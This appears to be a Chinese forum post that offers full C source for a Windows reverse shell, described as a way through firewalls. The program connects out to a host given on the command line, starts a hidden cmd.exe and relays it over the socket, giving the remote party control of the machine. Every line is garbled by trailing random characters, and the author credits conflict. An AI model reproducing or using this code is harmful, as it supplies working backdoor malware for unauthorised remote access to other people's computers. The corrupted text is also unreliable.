这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J_,y?}.e3
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/* ============================== @ 9uwcM1F
Rebound port in Windows NT 8PQ& 7o
By wind,2006/7 `` ={FaV~m
===============================*/ laAG%lq/'
#include )}R0'QGd
#include 2Y,s58F
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#pragma comment(lib,"wsock32.lib") '=r.rW5
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void OutputShell(); C$_H)I
SOCKET sClient; h1"#DnK7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'ySWf,Q^
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void main(int argc,char **argv) 6^p6v
{ 3wK)vW
WSADATA stWsaData; </eh^<_~
int nRet; kmf4ax
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SOCKADDR_IN stSaiClient,stSaiServer; 8=$@azG
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if(argc != 3) .{6TX"M
{ kys?%Y1
printf("Useage:\n\rRebound DestIP DestPort\n"); MRs8l
return; 5<u+2x8|
} I++!F,pB
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7>.^GD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '=oV
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stSaiClient.sin_family = AF_INET; P<bA~%<7"[
stSaiClient.sin_port = htons(0); l|DOsI'r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cu
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P)T:6K
{ LNj|t)O v
printf("Bind Socket Failed!\n"); bBZvL
return; JL<}9K
} X/@Gx 4
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stSaiServer.sin_family = AF_INET; sg3%n0Ms.W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k07O.9>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S>6APQ-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w ^r*qi"
{ zFOX%q
printf("Connect Error!"); ?&?y-&.5-
return; ]^s4NXf+
} p0-\G6
OutputShell(); qoEOM%dAqV
} (A1 !)c
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void OutputShell() 7UMsKE-
{ iJ~pX\FKO
char szBuff[1024]; GU=h2LSi]
SECURITY_ATTRIBUTES stSecurityAttributes; 1aSuRa
OSVERSIONINFO stOsversionInfo; oI^iL\\2h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t hS#fO4]d
STARTUPINFO stStartupInfo; *G=n${'
char *szShell; g|W~0A@D
PROCESS_INFORMATION stProcessInformation; r8@:Ko= a
unsigned long lBytesRead; {D7!'Rq,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }=wSfr9g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O^LzS&I*
stSecurityAttributes.lpSecurityDescriptor = 0; 'A4Lr
stSecurityAttributes.bInheritHandle = TRUE; 1y>P<[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [3j]r{0I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iE$0-Qe[3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J)*y1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4H{L>e
stStartupInfo.wShowWindow = SW_HIDE; i<-#yL5
stStartupInfo.hStdInput = hReadPipe; @T1-0!TM')
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MYLq2g\
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GetVersionEx(&stOsversionInfo); X^"95Ic
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switch(stOsversionInfo.dwPlatformId) n}a# b%e
{ (xq25;|Y
case 1: e=YvMg
szShell = "command.com"; N-lXC"{)
break; 8^+Qn/b_%
default: t:W`=^
szShell = "cmd.exe"; c D7q;|+
break; $lUZm\R|k
} lxV>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $vicxE~-E
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send(sClient,szMsg,77,0); 1#XMUbFc
while(1) yh} V u
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [S'ngQ"f`
if(lBytesRead) 7
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{ b5KX` r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *pj&^W?
send(sClient,szBuff,lBytesRead,0); @eR>?.:&
} GN(PH/fO9
else )R,*>-OPJL
{ s}UPe)Vu
lBytesRead=recv(sClient,szBuff,1024,0); vfmKY iLp
if(lBytesRead<=0) break; E}yl@8g:#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r*y4Vx7
} 'Ko
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} 2#ypM 9
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return; zPZy#7/A
}